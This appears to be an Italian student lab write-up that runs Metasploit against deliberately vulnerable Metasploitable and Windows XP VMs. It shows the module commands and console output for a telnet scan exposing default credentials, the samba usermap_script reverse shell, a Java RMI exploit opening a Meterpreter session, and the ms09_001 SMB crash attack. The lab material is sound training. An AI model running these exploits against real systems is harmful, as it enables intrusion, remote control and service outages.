



# S7/L2 Epicode Cybersecurity

Exploit con Metasploit

Nell'esercizio di oggi portiamo avanti il lavoro iniziato ieri, provando altri exploit tramite Metasploitable. La prima vulnerabilità che sfruttiamo è telnet, sulla porta 23. Facendo partire l'exploit possiamo vedere un codice in cui, alla fine, sono presenti i dati di accesso alla macchina Metasploitable.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```


```
Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.50.105	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
View the full module info with the info, or info -d command.
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

```
[*] 192.168.50.105:23 - 192.168.50.105:23 TELNET
Warning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0aametasploitable login:
[*] 192.168.50.105:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```



Eseguendo il comando  
'telnet (indirizzo.ip)'  
entriamo nella shell di  
Metasploitable e,  
provando i dati di accesso  
forniti, verifichiamo l'esito  
positivo dell'exploit.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.50.105
[*] exec: telnet 192.168.50.105

Trying 192.168.50.105...
Connected to 192.168.50.105.
Escape character is '^]'.

metasploitable


Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jan 16 04:28:24 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```




La seconda vulnerabilità da verificare è smb. Selezioniamo l'exploit e lo avviamo per verificare se il problema è ancora presente. Avviata la shell, proviamo il comando 'ifconfig' per vedere se ha funzionato correttamente.

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.50.100:445
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NUJNERgcNAXOZ5x3;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "NUJNERgcNAXOZ5x3\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.50.100:445 -> 192.168.50.105:37968) at 2024-01-16 10:14:30 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:47:1e:c0
          inet addr:192.168.50.105  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe47:1ec0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:98 errors:0 dropped:0 overruns:0 frame:0
          TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7496 (7.3 KB)  TX bytes:18274 (17.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:299 errors:0 dropped:0 overruns:0 frame:0
          TX packets:299 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:113977 (111.3 KB)  TX bytes:113977 (111.3 KB)
```



La terza vulnerabilità da affrontare è Java-RMI. Selezioniamo il nostro exploit, lo configuriamo insieme al payload e lo avviamo. L'operazione risulta funzionante e possiamo vedere come, in questo caso, Metasploit utilizzi meterpreter come shell, come conseguenza del payload selezionato.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit


[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.105:1099 - Using URL: http://192.168.50.100:8080/EQ28M39bCuJCb2
[*] 192.168.50.105:1099 - Server started.
[*] 192.168.50.105:1099 - Sending RMI Header...
[*] 192.168.50.105:1099 - Sending RMI Call...
[*] 192.168.50.105:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.50.105
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.105:53623) at 2024-01-16 10:22:47 +0100

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.105
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe47:1ec0
IPv6 Netmask : ::

meterpreter > |
```



L'ultima vulnerabilità che andremo a testare oggi riguarda sempre il protocollo SMB ma, stavolta, su Win XP.

Configuriamo la macchina in modo da comunicare con Kali, dopodichè andiamo ad effettuare l'exploit, utilizzando sempre Metasploit. Dopo una corretta configurazione, diamo il via all'attacco, che tenterà di mandare in crash il sistema.

```
msf6 auxiliary(dos/windows/smb/ms09_001_write) > exploit
[*] Running module against 192.168.50.200

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
datalenlow=15535 dataoffset=65535 fillersize=72
rescue
datalenlow=65535 dataoffset=55535 fillersize=72
rescue
datalenlow=55535 dataoffset=55535 fillersize=72
rescue
datalenlow=45535 dataoffset=55535 fillersize=72
rescue
datalenlow=35535 dataoffset=55535 fillersize=72
rescue
datalenlow=25535 dataoffset=55535 fillersize=72
rescue
datalenlow=15535 dataoffset=55535 fillersize=72
rescue
datalenlow=65535 dataoffset=45535 fillersize=72
rescue
datalenlow=55535 dataoffset=45535 fillersize=72
rescue
datalenlow=45535 dataoffset=45535 fillersize=72
rescue
datalenlow=35535 dataoffset=45535 fillersize=72
rescue
datalenlow=25535 dataoffset=45535 fillersize=72
rescue
datalenlow=15535 dataoffset=45535 fillersize=72
```